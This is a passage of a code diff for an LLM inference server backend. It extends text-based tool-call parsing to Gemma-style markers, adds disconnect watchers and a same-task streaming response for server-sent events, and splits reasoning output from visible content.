+    #     nested in a JSON arg alike, regardless of which format is outer).
+    candidates = []  # (start, brace_end, kind, match)
     for m in _TC_JSON_START_RE.finditer(content):
-        brace_start = m.end() - 1  # position of the opening {
-        depth, i = 0, brace_start
-        in_string = False
-        while i < len(content):
-            ch = content[i]
-            if in_string:
-                if ch == "\\" and i + 1 < len(content):
-                    i += 2  # skip escaped character
-                    continue
-                if ch == '"':
-                    in_string = False
-            elif ch == '"':
-                in_string = True
-            elif ch == "{":
-                depth += 1
-            elif ch == "}":
-                depth -= 1
-                if depth == 0:
-                    break
-            i += 1
-        if depth == 0:
-            json_str = content[brace_start : i + 1]
-            try:
-                obj = json.loads(json_str)
-                tc = {
-                    "id": f"call_{len(tool_calls)}",
-                    "type": "function",
-                    "function": {
-                        "name": obj.get("name", ""),
-                        "arguments": obj.get("arguments", {}),
-                    },
-                }
-                if isinstance(tc["function"]["arguments"], dict):
-                    tc["function"]["arguments"] = json.dumps(tc["function"]["arguments"])
-                tool_calls.append(tc)
-            except (json.JSONDecodeError, ValueError):
-                pass
+        # A marker that begins inside an open <function=...><parameter=...> value
+        # is that parameter's data, not its own call; skip it (same guard the
+        # XML-style parser below applies to nested <function= markers).
+        if _inside_open_parameter(content, m.start()):
+            continue
+        end = _balanced_brace_end(content, m.end() - 1)
+        if end >= 0:
+            candidates.append((m.start(), end, "json", m))
+    for m in _TC_GEMMA_START_RE.finditer(content):
+        if _inside_open_parameter(content, m.start()):
+            continue
+        end = _balanced_brace_end(content, m.end() - 1, gemma_quotes = True)
+        if end >= 0:
+            candidates.append((m.start(), end, "gemma", m))
+    candidates.sort(key = lambda c: c[0])
+
+    spans = [(s, e) for s, e, _kind, _m in candidates]
+    for idx, (start, end, kind, m) in enumerate(candidates):
+        # Skip a candidate nested inside another candidate's brace span: it is
+        # the enclosing call's argument data, not its own call. Checked against
+        # every candidate span (not only the ones that parsed successfully), so a
+        # marker inside an outer call that later fails to normalize is still
+        # never promoted to its own executable tool call.
+        if any(s <= start and end <= e for j, (s, e) in enumerate(spans) if j != idx):
+            continue
+        if not allow_incomplete:
+            tail = content[end + 1 :].lstrip()
+            close_re = _TC_END_TAG_RE if kind == "json" else _TC_GEMMA_END_TAG_RE
+            if close_re.match(tail) is None:
+                continue
+        try:
+            if kind == "json":
+                obj = json.loads(content[m.end() - 1 : end + 1])
+                name = obj.get("name", "")
+                arguments = obj.get("arguments", {})
+                if isinstance(arguments, dict):
+                    arguments = json.dumps(arguments)
+            else:
+                name = m.group(1)
+                arguments = json.dumps(_gemma_arguments_to_json(content[m.end() : end]))
+        except (json.JSONDecodeError, ValueError):
+            continue
+        tool_calls.append(
+            {
+                "id": f"call_{id_offset + len(tool_calls)}",
+                "type": "function",
+                "function": {"name": name, "arguments": arguments},
+            }
+        )
 
-    # Pattern 2: XML-style <function=name><parameter=key>value</parameter></function>
-    # All closing tags optional; models frequently omit them.
     if not tool_calls:
-        # Step 1: Find <function=name> positions and extract bodies. Use only
-        # </tool_call> or the next <function= as hard boundaries (</function>
-        # can appear in code values); trim a trailing </function> afterwards.
-        func_starts = list(_TC_FUNC_START_RE.finditer(content))
+        func_starts = [
+            fm
+            for fm in _TC_FUNC_START_RE.finditer(content)
+            if not _inside_open_parameter(content, fm.start())
+        ]
         for idx, fm in enumerate(func_starts):
             func_name = fm.group(1)
             body_start = fm.end()
-            # Boundaries: next <function= tag or </tool_call>
             next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content)
             end_tag = _TC_END_TAG_RE.search(content[body_start:])
             if end_tag:
@@ -107,36 +387,52 @@ def parse_tool_calls_from_text(content: str) -> list[dict]:
                 body_end = len(content)
             body_end = min(body_end, next_func)
             body = content[body_start:body_end]
-            body = _TC_FUNC_CLOSE_RE.sub("", body)  # trim closing </function>
+            if not allow_incomplete:
+                close_idx = body.rfind(_FUNC_CLOSE_TAG)
+                if close_idx < 0:
+                    continue
+                body = body[:close_idx]
+            else:
+                body = _TC_FUNC_CLOSE_RE.sub("", body)
 
-            # Step 2: Extract parameters from body. For single-parameter
-            # functions, use body end as the only boundary to avoid matching
-            # </parameter> inside code strings.
-            arguments = {}
+            arguments: dict = {}
             param_starts = list(_TC_PARAM_START_RE.finditer(body))
             if len(param_starts) == 1:
-                # Value is everything after the tag to end of body, less a
-                # trailing </parameter>.
                 pm = param_starts[0]
                 val = body[pm.end() :]
-                val = _TC_PARAM_CLOSE_RE.sub("", val)
+                if not allow_incomplete:
+                    stripped_val = val.rstrip()
+                    if not stripped_val.endswith(_PARAM_CLOSE_TAG):
+                        continue
+                    val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
+                else:
+                    val = _TC_PARAM_CLOSE_RE.sub("", val)
                 arguments[pm.group(1)] = val.strip()
             else:
+                valid_params = True
                 for pidx, pm in enumerate(param_starts):
                     param_name = pm.group(1)
                     val_start = pm.end()
-                    # Value ends at next <parameter= or end of body
                     next_param = (
                         param_starts[pidx + 1].start()
                         if pidx + 1 < len(param_starts)
                         else len(body)
                     )
                     val = body[val_start:next_param]
-                    val = _TC_PARAM_CLOSE_RE.sub("", val)  # trim trailing </parameter>
+                    if not allow_incomplete:
+                        stripped_val = val.rstrip()
+                        if not stripped_val.endswith(_PARAM_CLOSE_TAG):
+                            valid_params = False
+                            break
+                        val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
+                    else:
+                        val = _TC_PARAM_CLOSE_RE.sub("", val)
                     arguments[param_name] = val.strip()
+                if not valid_params:
+                    continue
 
             tc = {
-                "id": f"call_{len(tool_calls)}",
+                "id": f"call_{id_offset + len(tool_calls)}",
                 "type": "function",
                 "function": {
                     "name": func_name,
diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py
index b8432f588c..26825a472e 100644
--- a/studio/backend/models/inference.py
+++ b/studio/backend/models/inference.py
@@ -1102,6 +1102,8 @@ class ChoiceDelta(BaseModel):
 
     role: Optional[str] = None
     content: Optional[str] = None
+    reasoning_content: Optional[str] = None
+    tool_calls: Optional[list[dict]] = None
 
 
 OpenAIFinishReason = Literal["stop", "length", "tool_calls", "content_filter", "function_call"]
@@ -1137,6 +1139,8 @@ class CompletionMessage(BaseModel):
     role: Literal["assistant"] = "assistant"
     content: str
     refusal: Optional[str] = None
+    reasoning_content: Optional[str] = None
+    tool_calls: Optional[list[dict]] = None
 
 
 class CompletionChoice(BaseModel):
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 7010fcfabc..2e2c38933e 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -12,6 +12,7 @@ import uuid
 from pathlib import Path
 from fastapi import APIRouter, Depends, HTTPException, Request, status
 from fastapi.responses import StreamingResponse, JSONResponse, Response
+from starlette.requests import ClientDisconnect
 from typing import Any, List, Optional, Union
 import json
 import httpx
@@ -235,8 +236,15 @@ def _sse_streaming_response(content) -> StreamingResponse:
     a one-shot connection. Two callers build their response inline instead: the
     external-provider proxy omits ``Connection: close``, and the OpenAI
     passthrough returns an empty ``keep-alive`` stream when the request is
-    cancelled before the upstream response starts."""
-    return StreamingResponse(
+    cancelled before the upstream response starts.
+
+    Built on ``_SameTaskStreamingResponse`` (not Starlette's stock
+    ``StreamingResponse``) so the SSE generator runs in the request task. The
+    legacy AnyIO task-group wrapper trips "Attempted to exit a cancel scope in a
+    different task" on Python 3.13 + httpx, which surfaced as a mid-stream
+    ``response.failed``. The streaming paths that take their response inline use
+    ``_SameTaskStreamingResponse`` directly for the same reason."""
+    return _SameTaskStreamingResponse(
         content,
         media_type = "text/event-stream",
         headers = {
@@ -750,6 +758,121 @@ def _set_stream_response_read_timeout(
         pass
 
 
+_STREAM_DISCONNECT_POLL_TIMEOUT_S = 0.25
+
+
+class _CompatSameTaskTimeout:
+    """Same-task timeout fallback for Python versions before asyncio.timeout."""
+
+    def __init__(self, timeout_s: float):
+        self.timeout_s = timeout_s
+        self._task = None
+        self._handle = None
+        self._timed_out = False
+        self._cancelling = 0
+
+    async def __aenter__(self):
+        self._task = asyncio.current_task()
+        if self._task is None:
+            return self
+        if hasattr(self._task, "cancelling"):
+            self._cancelling = self._task.cancelling()
+        loop = asyncio.get_running_loop()
+        self._handle = loop.call_later(max(self.timeout_s, 0), self._cancel_task)
+        return self
+
+    async def __aexit__(self, exc_type, exc, tb):
+        if self._handle is not None:
+            self._handle.cancel()
+        if exc_type is not None and issubclass(exc_type, asyncio.CancelledError):
+            if self._timed_out:
+                if self._task is not None and hasattr(self._task, "uncancel"):
+                    if self._task.uncancel() > self._cancelling:
+                        return None
+                raise asyncio.TimeoutError from exc
+        return None
+
+    def _cancel_task(self) -> None:
+        self._timed_out = True
+        if self._task is not None:
+            self._task.cancel()
+
+
+def _same_task_timeout(timeout_s: float):
+    timeout_ctx = getattr(asyncio, "timeout", None)
+    if timeout_ctx is not None:
+        return timeout_ctx(timeout_s)
+    return _CompatSameTaskTimeout(timeout_s)
+
+
+class _SameTaskStreamingResponse(StreamingResponse):
+    """StreamingResponse without Starlette's legacy AnyIO task-group wrapper."""
+
+    def __init__(
+        self,
+        *args,
+        unstarted_cleanup = None,
+        **kwargs,
+    ) -> None:
+        super().__init__(*args, **kwargs)
+        # Async callable invoked when the client disconnects before the body
+        # iterator is ever advanced. A generator that never started cannot run
+        # its own try/finally, so a stream that acquires resources before its
+        # first yield (the passthrough opens an upstream httpx stream eagerly)
+        # passes this to release them.
+        self._unstarted_cleanup = unstarted_cleanup
+
+    async def __call__(self, scope, receive, send) -> None:
+        # Track whether the body iterator was ever advanced: send() only emits a
+        # body message after the generator yields its first chunk, so a failure
+        # before then means it never entered its try/finally.
+        body_started = False
+
+        async def _tracking_send(message) -> None:
+            nonlocal body_started
+            if message.get("type") == "http.response.body":
+                body_started = True
+            await send(message)
+
+        try:
+            await self.stream_response(_tracking_send)
+        except OSError:
+            # Client disconnected mid-send.
+            if body_started:
+                # The generator produced at least one chunk and is suspended in
+                # its try/finally. Throw CancelledError into it (not aclose's
+                # GeneratorExit) so its `except asyncio.CancelledError` handler
+                # runs and finishes any api_monitor entry; GeneratorExit would
+                # skip it and only run `finally`. Fall back to aclose() without
+                # athrow.
+                athrow = getattr(self.body_iterator, "athrow", None)
+                if athrow is not None:
+                    try:
+                        await athrow(asyncio.CancelledError())
+                    except (asyncio.CancelledError, StopAsyncIteration, RuntimeError):
+                        pass
+                else:
+                    aclose = getattr(self.body_iterator, "aclose", None)
+                    if aclose is not None:
+                        await aclose()
+            else:
+                # http.response.start failed before the body iterator advanced,
+                # so its try/finally never armed and aclose()/athrow() are no-ops
+                # on an unstarted generator. Release any resources acquired
+                # before the first yield via the explicit cleanup hook.
+                aclose = getattr(self.body_iterator, "aclose", None)
+                if aclose is not None:
+                    await aclose()
+                if self._unstarted_cleanup is not None:
+                    try:
+                        await self._unstarted_cleanup()
+                    except Exception:
+                        pass
+            raise ClientDisconnect()
+        if self.background is not None:
+            await self.background()
+
+
 async def _aclose_stream_resources(
     *,
     watchers = (),
@@ -875,8 +998,23 @@ async def _aiter_llama_stream_items(
                     raise httpx.ReadTimeout("The model did not produce a first token in time.")
                 if response is not None:
                     _set_stream_response_read_timeout(response, remaining_s)
-                item = await asyncio.wait_for(async_iter.__anext__(), timeout = remaining_s)
+                # Keep httpx/httpcore's AnyIO cancel scope in this task.
+                # asyncio.wait_for would drive __anext__ in a child task.
+                async with _same_task_timeout(remaining_s):
+                    item = await async_iter.__anext__()
             else:
+                if (
+                    request is not None
+                    and response is not None
+                    and post_first_item_read_timeout_s is not None
+                    and last_item_at is not None
+                ):
+                    stall_remaining_s = post_first_item_read_timeout_s - (
+                        time.monotonic() - last_item_at
+                    )
+                    if stall_remaining_s <= 0:
+                        raise httpx.ReadTimeout("The model stopped producing tokens mid-response.")
+                    _set_stream_response_read_timeout(response, stall_remaining_s)
                 item = await async_iter.__anext__()
         except asyncio.TimeoutError as exc:
             if waiting_first_item:
@@ -890,6 +1028,12 @@ async def _aiter_llama_stream_items(
                 if now >= first_token_deadline:
                     raise
                 continue
+            if (
+                request is not None
+                and post_first_item_read_timeout_s is not None
+                and now - last_item_at < post_first_item_read_timeout_s
+            ):
+                continue
             raise httpx.ReadTimeout("The model stopped producing tokens mid-response.")
         if (
             last_item_at is None
@@ -1125,16 +1269,17 @@ def _detect_safetensors_features(backend, chat_template: Optional[str]) -> dict:
         model_identifier = model_id,
         log_source = "safetensors",
     )
-    # Our safetensors loop only parses <tool_call>{json}</tool_call> and
-    # <function=name>...</function>. Llama uses <|python_tag|>, Mistral uses
-    # [TOOL_CALLS]; advertising tools for those enables a pill the parser
-    # can't honour. GGUF is unaffected -- llama-server normalises every
-    # format into structured deltas.
+    # Our safetensors loop only parses <tool_call>{json}</tool_call>,
+    # <function=name>...</function>, and Gemma native <|tool_call>...<tool_call|>.
+    # Llama uses <|python_tag|>, Mistral uses [TOOL_CALLS]; advertising tools for
+    # those enables a pill the parser can't honour. GGUF is unaffected --
+    # llama-server normalises every format into structured deltas.
     if (
         flags.get("supports_tools")
         and chat_template
         and "<tool_call>" not in chat_template
         and "<function=" not in chat_template
+        and "<|tool_call>" not in chat_template
     ):
         logger.info(
             "safetensors: template advertises tools but uses an "
@@ -1297,6 +1442,24 @@ async def _await_disconnect_then_close(request, resp, cancel_event) -> None:
         return
 
 
+async def _await_disconnect_then_cancel(request, cancel_event) -> None:
+    """Set ``cancel_event`` when a same-task local stream disconnects."""
+    try:
+        while not await request.is_disconnected():
+            await asyncio.sleep(0.1)
+        cancel_event.set()
+    except asyncio.CancelledError:
+        return
+
+
+async def _stop_local_disconnect_cancel_watcher(watcher) -> None:
+    watcher.cancel()
+    try:
+        await watcher
+    except (asyncio.CancelledError, Exception):
+        pass
+
+
 # Centralized local/server tool nudge. Keep render_html guidance gated to turns
 # where the canvas tool is actually present in the tool schema; otherwise
 # small local models can hallucinate a missing tool call instead of following
@@ -1418,7 +1581,9 @@ _TOOL_XML_RE = _re.compile(
     # Hyphen in the name char-class matches MCP tool names with dashes
     # (mcp__srv__list-issues) that would otherwise leak past this strip.
     r"<(?:tool_call|function=[\w-]+)>.*?(?:</(?:tool_call|function)>|\Z)"
+    r"|<\|tool_call>.*?(?:<tool_call\|>|\Z)"
     r"|</(?:tool_call|function)>"
+    r"|<tool_call\|>"
     r"|</parameter>\s*\Z",
     _re.DOTALL,
 )
@@ -3221,7 +3386,9 @@ async def get_api_monitor_entry(entry_id: str, current_subject: str = Depends(ge
 
 @router.post("/generate/stream")
 async def generate_stream(
-    request: GenerateRequest, current_subject: str = Depends(get_current_subject)
+    request: GenerateRequest,
+    fastapi_request: Request,
+    current_subject: str = Depends(get_current_subject),
 ):
     """
     Generate a chat response with Server-Sent Events (SSE) streaming.
@@ -3271,6 +3438,13 @@ async def generate_stream(
     async def stream():
         gen = None
         completed = False
+        # Cancel the generation when the client disconnects. The generator only
+        # awaits asyncio.to_thread(next, gen, ...), so without a concurrent
+        # watcher a disconnect during a long prefill/generation would go
+        # unnoticed until the next send and the backend would keep generating.
+        disconnect_watcher = asyncio.create_task(
+            _await_disconnect_then_cancel(fastapi_request, cancel_event)
+        )
         try:
             gen = backend.generate_chat_response(
                 messages = request.messages,
@@ -3285,12 +3459,22 @@ async def generate_stream(
             )
             _DONE = object()
             while True:
+                if cancel_event.is_set():
+                    # The disconnect watcher set cancel_event between chunks.
+                    # Reset the backend here: closing the Python generator does
+                    # not signal a subprocess backend, so without this it keeps
+                    # decoding after the client is gone. The finally's reset is
+                    # guarded on cancel_event being unset, so it will not run
+                    # again for this path.
+                    backend.reset_generation_state()
+                    break
                 chunk = await asyncio.to_thread(next, gen, _DONE)
                 if chunk is _DONE:
+                    completed = True
                     break
                 yield f"data: {json.dumps({'content': chunk})}\n\n"
-            completed = True
-            yield "data: [DONE]\n\n"
+            if completed:
+                yield "data: [DONE]\n\n"
 
         except asyncio.CancelledError:
             cancel_event.set()
@@ -3302,6 +3486,7 @@ async def generate_stream(
             logger.error(f"Error during generation: {e}", exc_info = True)
             yield f"data: {json.dumps({'error': _friendly_error(e)})}\n\n"
         finally:
+            await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
             if not completed and not cancel_event.is_set():
                 cancel_event.set()
                 backend.reset_generation_state()
@@ -4725,6 +4910,9 @@ async def openai_chat_completions(
                 _tracker.__enter__()
 
                 async def audio_input_stream():
+                    disconnect_watcher = asyncio.create_task(
+                        _await_disconnect_then_cancel(request, cancel_event)
+                    )
                     try:
                         yield _chat_role_chunk(completion_id, created, model_name)
 
@@ -4760,9 +4948,18 @@ async def openai_chat_completions(
                         api_monitor.fail(monitor_id, _friendly_error(e))
                         yield f"data: {json.dumps({'error': {'message': _friendly_error(e), 'type': 'server_error'}})}\n\n"
                     finally:
+                        await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
                         _tracker.__exit__(None, None, None)
 
-                return _sse_streaming_response(audio_input_stream())
+                return _SameTaskStreamingResponse(
+                    audio_input_stream(),
+                    media_type = "text/event-stream",
+                    headers = {
+                        "Cache-Control": "no-cache",
+                        "Connection": "close",
+                        "X-Accel-Buffering": "no",
+                    },
+                )
             else:
                 try:
                     full_text = "".join(audio_input_generate())
@@ -4937,6 +5134,28 @@ async def openai_chat_completions(
         completion_id = f"chatcmpl-{uuid.uuid4().hex[:12]}"
         created = int(time.time())
 
+        def _new_chat_reasoning_extractor():
+            return _ResponsesReasoningExtractor(
+                parse_think_markers = _responses_should_parse_think_markers(
+                    payload,
+                    llama_backend,
+                )
+            )
+
+        def _gguf_chat_delta_line(delta: ChoiceDelta, finish_reason = None) -> str:
+            chunk = ChatCompletionChunk(
+                id = completion_id,
+                created = created,
+                model = model_name,
+                choices = [
+                    ChunkChoice(
+                        delta = delta,
+                        finish_reason = finish_reason,
+                    )
+                ],
+            )
+            return f"data: {chunk.model_dump_json(exclude_none = True)}\n\n"
+
         # ── Tool-calling path (agentic loop) ──────────────────
         # `_effective_enable_tools` lets `unsloth run --enable-tools/--disable-tools`
         # hard-override the per-request value, else falls back to
@@ -5049,6 +5268,9 @@ async def openai_chat_completions(
 
             async def gguf_tool_stream():
                 gen = None
+                disconnect_watcher = asyncio.create_task(
+                    _await_disconnect_then_cancel(request, cancel_event)
+                )
                 try:
                     yield _chat_role_chunk(completion_id, created, model_name)
 
@@ -5056,9 +5278,25 @@ async def openai_chat_completions(
                     # stays free for disconnect detection.
                     gen = gguf_generate_with_tools()
                     prev_text = ""
+                    reasoning_extractor = _new_chat_reasoning_extractor()
                     _stream_usage = None
                     _stream_timings = None
                     _stream_finish = None
+
+                    def _flush_reasoning_extractor():
+                        final_reasoning, final_visible = reasoning_extractor.finish()
+                        chunks = []
+                        if final_reasoning:
+                            chunks.append(
+                                _gguf_chat_delta_line(
+                                    ChoiceDelta(reasoning_content = final_reasoning)
+                                )
+                            )
+                        if final_visible:
+                            api_monitor.append_reply(monitor_id, final_visible)
+                            chunks.append(_gguf_chat_delta_line(ChoiceDelta(content = final_visible)))
+                        return chunks
+
                     while True:
                         if cancel_event.is_set():
                             break
@@ -5077,7 +5315,10 @@ async def openai_chat_completions(
                             # cumulative cursor so the next assistant turn
                             # streams cleanly.
                             if not event["text"]:
+                                for chunk in _flush_reasoning_extractor():
+                                    yield chunk
                                 prev_text = ""
+                                reasoning_extractor = _new_chat_reasoning_extractor()
                             # Emit tool status as a custom SSE event (including
                             # empty ones to clear UI badges)
                             status_data = json.dumps(
@@ -5091,7 +5332,10 @@ async def openai_chat_completions(
 
                         if event["type"] in ("tool_start", "tool_end"):
                             if event["type"] == "tool_start":
+                                for chunk in _flush_reasoning_extractor():
+                                    yield chunk
                                 prev_text = ""
+                                reasoning_extractor = _new_chat_reasoning_extractor()
                             yield f"data: {json.dumps(event)}\n\n"
                             continue
 
@@ -5118,15 +5362,33 @@ async def openai_chat_completions(
                         prev_text = clean_cumulative
                         if not new_text:
                             continue
-                        api_monitor.append_reply(monitor_id, new_text)
-                        yield _chat_content_chunk(completion_id, created, model_name, new_text)
+                        reasoning_delta, visible_delta = reasoning_extractor.feed(new_text)
+                        if reasoning_delta:
+                            yield _gguf_chat_delta_line(
+                                ChoiceDelta(reasoning_content = reasoning_delta)
+                            )
+                        if visible_delta:
+                            api_monitor.append_reply(monitor_id, visible_delta)
+                            yield _gguf_chat_delta_line(ChoiceDelta(content = visible_delta))
 
-                    yield _chat_final_chunk(
-                        completion_id,
-                        created,
-                        model_name,
-                        _clamp_finish_reason(_stream_finish),
+                    for chunk in _flush_reasoning_extractor():
+                        yield chunk
+
+                    final_chunk = ChatCompletionChunk(
+                        id = completion_id,
+                        created = created,
+                        model = model_name,
+                        choices = [
+                            ChunkChoice(
+                                delta = ChoiceDelta(),
+                                finish_reason = _clamp_finish_reason(_stream_finish),
+                            )
+                        ],
                     )
+                    # Emit the terminal chunk carrying finish_reason before the
+                    # optional usage chunk and [DONE], so OpenAI-compatible
+                    # clients can detect stop/length/tool_calls.
+                    yield f"data: {final_chunk.model_dump_json(exclude_none = True)}\n\n"
                     usage_line = _openai_stream_usage_chunk(
                         payload,
                         completion_id,
@@ -5155,6 +5417,7 @@ async def openai_chat_completions(
                     error_chunk = _openai_stream_error_chunk(e)
                     yield f"data: {json.dumps(error_chunk)}\n\n"
                 finally:
+                    await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
                     if gen is not None:
                         try:
                             gen.close()
@@ -5162,7 +5425,15 @@ async def openai_chat_completions(
                             pass
                     _tracker.__exit__(None, None, None)
 
-            return _sse_streaming_response(gguf_tool_stream())
+            return _SameTaskStreamingResponse(
+                gguf_tool_stream(),
+                media_type = "text/event-stream",
+                headers = {
+                    "Cache-Control": "no-cache",
+                    "Connection": "close",
+                    "X-Accel-Buffering": "no",
+                },
+            )
 
         # ── Standard GGUF path (no tools) ─────────────────────
 
@@ -5198,6 +5469,9 @@ async def openai_chat_completions(
             _tracker.__enter__()
 
             async def gguf_stream_chunks():
+                disconnect_watcher = asyncio.create_task(
+                    _await_disconnect_then_cancel(request, cancel_event)
+                )
                 try:
                     yield _chat_role_chunk(completion_id, created, model_name)
 
@@ -5205,6 +5479,7 @@ async def openai_chat_completions(
                     # stays free for disconnect detection.
                     gen = gguf_generate()
                     prev_text = ""
+                    reasoning_extractor = _new_chat_reasoning_extractor()
                     _stream_usage = None
                     _stream_timings = None
                     _stream_finish = None
@@ -5238,15 +5513,38 @@ async def openai_chat_completions(
                         prev_text = cumulative
                         if not new_text:
                             continue
-                        api_monitor.append_reply(monitor_id, new_text)
-                        yield _chat_content_chunk(completion_id, created, model_name, new_text)
+                        reasoning_delta, visible_delta = reasoning_extractor.feed(new_text)
+                        if reasoning_delta:
+                            yield _gguf_chat_delta_line(
+                                ChoiceDelta(reasoning_content = reasoning_delta)
+                            )
+                        if visible_delta:
+                            api_monitor.append_reply(monitor_id, visible_delta)
+                            yield _gguf_chat_delta_line(ChoiceDelta(content = visible_delta))
 
-                    yield _chat_final_chunk(
-                        completion_id,
-                        created,
-                        model_name,
-                        _clamp_finish_reason(_stream_finish),
+                    final_reasoning, final_visible = reasoning_extractor.finish()
+                    if final_reasoning:
+                        yield _gguf_chat_delta_line(ChoiceDelta(reasoning_content = final_reasoning))
+                    if final_visible:
+                        api_monitor.append_reply(monitor_id, final_visible)
+                        yield _gguf_chat_delta_line(ChoiceDelta(content = final_visible))
+
+                    # Final chunk
+                    final_chunk = ChatCompletionChunk(
+                        id = completion_id,
+                        created = created,
+                        model = model_name,
+                        choices = [
+                            ChunkChoice(
+                                delta = ChoiceDelta(),
+                                finish_reason = _clamp_finish_reason(_stream_finish),
+                            )
+                        ],
                     )
+                    # Emit the terminal chunk carrying finish_reason before the
+                    # optional usage chunk and [DONE], so OpenAI-compatible
+                    # clients can detect stop/length/tool_calls.
+                    yield f"data: {final_chunk.model_dump_json(exclude_none = True)}\n\n"
                     usage_line = _openai_stream_usage_chunk(
                         payload,
                         completion_id,
@@ -5273,9 +5571,18 @@ async def openai_chat_completions(
                     error_chunk = _openai_stream_error_chunk(e)
                     yield f"data: {json.dumps(error_chunk)}\n\n"
                 finally:
+                    await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
                     _tracker.__exit__(None, None, None)
 
-            return _sse_streaming_response(gguf_stream_chunks())
+            return _SameTaskStreamingResponse(
+                gguf_stream_chunks(),
+                media_type = "text/event-stream",
+                headers = {
+                    "Cache-Control": "no-cache",
+                    "Connection": "close",
+                    "X-Accel-Buffering": "no",
+                },
+            )
         else:
             try:
                 # ``n`` requests several independent completions; the single
@@ -5302,14 +5609,24 @@ async def openai_chat_completions(
                             continue
                         full_text = token
 
+                    reasoning_text, visible_text = _extract_responses_reasoning(
+                        full_text,
+                        parse_think_markers = _responses_should_parse_think_markers(
+                            payload,
+                            llama_backend,
+                        ),
+                    )
+                    message_kwargs = {"content": visible_text}
+                    if reasoning_text:
+                        message_kwargs["reasoning_content"] = reasoning_text
                     _choices.append(
                         CompletionChoice(
                             index = _idx,
-                            message = CompletionMessage(content = full_text),
+                            message = CompletionMessage(**message_kwargs),
                             finish_reason = _clamp_finish_reason(completion_finish),
                         )
                     )
-                    _monitor_replies.append(full_text)
+                    _monitor_replies.append(visible_text)
                     if completion_usage:
                         # The prompt is shared across all n choices, so count its
                         # tokens ONCE (OpenAI bills only generated tokens for each
@@ -5331,7 +5648,7 @@ async def openai_chat_completions(
                         prompt_tokens_details = _prompt_tokens_details(_prompt_details),
                     ),
                 )
-                monitor_reply = full_text
+                monitor_reply = _monitor_replies[-1] if _monitor_replies else ""
                 if _n > 1:
                     monitor_reply = "\n\n".join(
                         f"Choice {_idx + 1}:\n{text}" for _idx, text in enumerate(_monitor_replies)
@@ -5541,6 +5858,9 @@ async def openai_chat_completions(
 
         async def sf_tool_stream():
             gen = None
+            disconnect_watcher = asyncio.create_task(
+                _await_disconnect_then_cancel(request, cancel_event)
+            )
             try:
                 yield _chat_role_chunk(completion_id, created, model_name)
 
@@ -5632,6 +5952,7 @@ async def openai_chat_completions(
                 }
                 yield f"data: {json.dumps(error_chunk)}\n\n"
             finally:
+                await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
                 if gen is not None:
                     try:
                         gen.close()
@@ -5640,7 +5961,15 @@ async def openai_chat_completions(
                 _sf_tracker.__exit__(None, None, None)
 
         if payload.stream:
-            return _sse_streaming_response(sf_tool_stream())
+            return _SameTaskStreamingResponse(
+                sf_tool_stream(),
+                media_type = "text/event-stream",
+                headers = {
+                    "Cache-Control": "no-cache",
+                    "Connection": "close",
+                    "X-Accel-Buffering": "no",
+                },
+            )
 
         # Non-streaming JSON: drain the loop, build one ChatCompletion.
         try:
@@ -5742,6 +6071,9 @@ async def openai_chat_completions(
         _tracker.__enter__()
 
         async def stream_chunks():
+            disconnect_watcher = asyncio.create_task(
+                _await_disconnect_then_cancel(request, cancel_event)
+            )
             try:
                 yield _chat_role_chunk(completion_id, created, model_name)
 
@@ -5818,9 +6150,18 @@ async def openai_chat_completions(
                 }
                 yield f"data: {json.dumps(error_chunk)}\n\n"
             finally:
+                await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
                 _tracker.__exit__(None, None, None)
 
-        return _sse_streaming_response(stream_chunks())
+        return _SameTaskStreamingResponse(
+            stream_chunks(),
+            media_type = "text/event-stream",
+            headers = {
+                "Cache-Control": "no-cache",
+                "Connection": "close",
+                "X-Accel-Buffering": "no",
+            },
+        )
 
     # ── Non-streaming response ────────────────────────────────────
     else:
@@ -6538,8 +6879,9 @@ def _responses_should_parse_think_markers(
     if llama_backend is not None and getattr(llama_backend, "is_loaded", False):
         if getattr(llama_backend, "reasoning_always_on", False):
             return True
-        if not getattr(llama_backend, "supports_reasoning", False):
-            return False
+        if getattr(llama_backend, "supports_reasoning", False):
+            return True
+        return False
     if chat_req.enable_thinking is True:
         return True
     return chat_req.enable_thinking is None and chat_req.reasoning_effort not in (None, "none")
@@ -6835,8 +7177,6 @@ async def _responses_non_streaming(
         # the model produced content, so clients expecting a pure tool-call turn
         # (finish_reason="tool_calls") don't see a spurious empty message item.
         output_items: list[dict] = []
-        if reasoning_text and not text and not tool_calls:
-            text = reasoning_text
         if reasoning_text:
             output_items.append(_responses_reasoning_output_item(reasoning_text))
         if text:
@@ -7149,8 +7489,8 @@ async def _responses_stream(
         client = httpx.AsyncClient(timeout = _llama_streaming_generation_timeout())
         resp = None
         lines_iter = None
-        disconnect_event = threading.Event()
         disconnect_watcher = None
+        disconnect_event = threading.Event()
         try:
             req = client.build_request(
                 "POST", target_url, json = body, headers = {"Connection": "close"}
@@ -7210,10 +7550,10 @@ async def _responses_stream(
                 )
                 return
 
+            lines_iter = resp.aiter_lines()
             disconnect_watcher = asyncio.create_task(
                 _await_disconnect_then_close(request, resp, disconnect_event)
             )
-            lines_iter = resp.aiter_lines()
             async for raw_line in _aiter_llama_stream_items(
                 lines_iter,
                 cancel_event = disconnect_event,
@@ -7333,6 +7673,7 @@ async def _responses_stream(
 
                 _apply_usage(chunk_data.get("usage"))
         except asyncio.CancelledError:
+            disconnect_event.set()
             api_monitor.finish(monitor_id, "cancelled")
             raise
         except (httpx.RemoteProtocolError, httpx.ReadError, httpx.CloseError) as e:
@@ -7399,21 +7740,6 @@ async def _responses_stream(
                     "delta": final_visible,
                 },
             )
-        if full_reasoning and not full_text and not tool_call_state:
-            for event in _ensure_message_open():
-                yield event
-            full_text = full_reasoning
-            api_monitor.set_reply(monitor_id, full_text)
-            yield _sse(
-                "response.output_text.delta",
-                {
-                    "type": "response.output_text.delta",
-                    "item_id": message_state["item_id"],
-                    "output_index": message_state["output_index"],
-                    "content_index": 0,
-                    "delta": full_text,
-                },
-            )
 
         close_items: list[tuple[int, str, dict[str, Any]]] = []
         if reasoning_state["opened"]:
